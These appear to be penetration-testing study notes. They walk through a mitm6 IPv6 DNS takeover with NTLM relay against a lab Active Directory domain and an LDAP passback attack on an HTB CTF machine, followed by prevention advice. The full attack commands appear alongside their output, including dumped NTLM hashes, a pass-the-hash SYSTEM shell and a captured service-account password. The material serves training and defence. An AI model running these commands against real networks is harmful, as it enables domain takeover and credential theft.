IPv6 DNS Takeover#
Another internal attack vector we should keep in mind has to do with IPv6 and how it is configured with DHCP. Most of the time in enterprise networks we use IPv4 addresses because they are what most people are used to using and what many services are configured to use by default.
Windows machines are often configured to obtain IPv6 addresses from a DHCP server automatically - but most of the time unlike IPv4, DHCP isn’t configured to manage al the IPv6 addresses on the network.
So what is providing DNS services for IPv6 addresses on the network?
- Most of the time the answer is nothing - it isn’t configured.
Who cares? What does that allow an attacker to do?
Well, we can set up our system to listen for IPv6 DNS requests and respond to clients by telling them to forward all IPv6 traffic to our system. In this process we can intercept NTLM credentials and relay them to the Domain Controller just like an SMB relay attack. If the relayed request is from a Domain Admin, we can create a user account of our own on the domain that can use DCSync to effectively give us control over the domain.
One amazing tool for this (if not the tool for this kind of attack) is mitm6.
First we need to set up our IPv6 DNS server:
└─$ sudo python3 mitm6.py -d marvel.local
Then we just need to set up ntlmrelayx and wait for some traffic:
└─$ impacket-ntlmrelayx -6 -t ldaps://192.168.113.128 -wh fakewpad.marvel.local -l lootdir
We just need to use the IP for the domain controller and suggest a fake wpad address that appears to be a part of the domain.
In the event a normal user logs in, we can get a bunch of information about groups and users dumped into some easy to read and understand html files.
The real kicker is if we catch a domain admin logging in though because ntlmrelayx will create another account that has DCSync privileges.
---SNIP---
[*] HTTPD(80): Serving PAC file to client ::ffff:192.168.113.131
[*] HTTPD(80): Connection from ::ffff:192.168.113.131 controlled, attacking target ldaps://192.168.113.128
[*] HTTPD(80): Authenticating against ldaps://192.168.113.128 as MARVEL/ADMINISTRATOR SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] User privileges found: Create user
[*] HTTPD(80): Connection from ::ffff:192.168.113.131 controlled, but there are no more targets left!
[*] User privileges found: Adding user to a privileged group (Enterprise Admins)
[*] User privileges found: Modifying domain ACL
[*] Attempting to create user in: CN=Users,DC=MARVEL,DC=local
[*] Adding new user with username: BwDxuReePM and password: :hUWd*eFrz1^F/2 result: OK
[*] Querying domain security descriptor
[*] Success! User BwDxuReePM now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20240421-221636.restore
[-] New user already added. Refusing to add another
[-] Unable to escalate without a valid user, aborting.
[*] Dumping domain info for first time
[*] Domain info dumped into lootdir!
---SNIP---
Using secretsdump like the tool suggests will allow us to dump hashes for the users in the domain:
└─$ impacket-secretsdump marvel.local/BwDxuReePM:':hUWd*eFrz1^F/2'@192.168.113.128
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:920ae267e048417fcfe00f49ecbd4b33:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:24607227313c11d9e422b36f220229cd:::
MARVEL.local\tstark:1103:aad3b435b51404eeaad3b435b51404ee:1bc3af33d22c1c2baec10a32db22c72d:::
MARVEL.local\SQLService:1104:aad3b435b51404eeaad3b435b51404ee:2277732a68c5204f4be460529e508465:::
MARVEL.local\fcastle:1105:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
MARVEL.local\pparker:1106:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
BwDxuReePM:1109:aad3b435b51404eeaad3b435b51404ee:82bb838462cc9fb48aea64cdfd6f5e6b:::
---SNIP---
You could use these to get a shell on the domain controller:
└─$ impacket-psexec administrator@192.168.113.128 -hashes aad3b435b51404eeaad3b435b51404ee:920ae267e048417fcfe00f49ecbd4b33
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Requesting shares on 192.168.113.128.....
[*] Found writable share ADMIN$
[*] Uploading file QObpQlje.exe
[*] Opening SVCManager on 192.168.113.128.....
[*] Creating service SEdg on 192.168.113.128.....
[*] Starting service SEdg.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32>
A Deeper Look#
There is a pretty solid blog post from RedFox Security that talks about this in a bit more detail then posts from TCM and BlackHillsInfoSec. I’ve explained most of the key points but want to include this image for those who are interested:
MITM6 Prevention#
As you might imagine, the prevention depends a bit on the environment but these guidelines should work most of the time:
- Disabling IPv6 if it is not being used will prevent clients from querying DHCPv6 servers.
- If WPAD is not being used, disable it by using group policies.
- You can prevent the NTLM relaying aspect of the attack by enforcing SMB and LDAP signing for all traffic.
- Assigning admin users to protected groups can prevent delegation and impersonation attack vectors from appearing.
Passback Attacks#
This isn’t super common but it is a bug that has to do with a lot of printers and how they are configured to use LDAP. The bible of sorts for this topic can be found on a blog post from MindPoint Group, as every source I find talking about it comes back to that post.
To keep it as brief as possible, an MFP (Multi-Function Peripheral) device can be configured to perform queries on the LDAP server. If you can change this IP to point to your machine, you can often times get the LDAP password for that service account.
HTB - Return#
This machine seems almost intentionally designed to show off passback-type attacks. We have a web page that shows us a printer interface, only letting us modify the IP address:
If you change this and update the page, you will see that service account’s credentials plain-as-day:
╰─ nc -lvp 389
listening on [any] 389 ...
connect to [10.10.14.171] from return.htb [10.129.95.241] 60715
0*`%return\svc-printer�
1edFg43012!!
In this machine we can use this credential to get the user flag using evil-winrm but in a (maybe) more realistic scenario you could pivot to more credentialed enumeration through the environment.
Preventing Passback Attacks#
This isn’t as cut and dry because it depends on the actual printer remote client you use and who can see that page. In general I would avoid letting just anyone see these printing pages. When I worked in helpdesk we had some systems like this that were restricted to IT employees, but some service accounts still had access rights and vendors would often get permissions to configure them.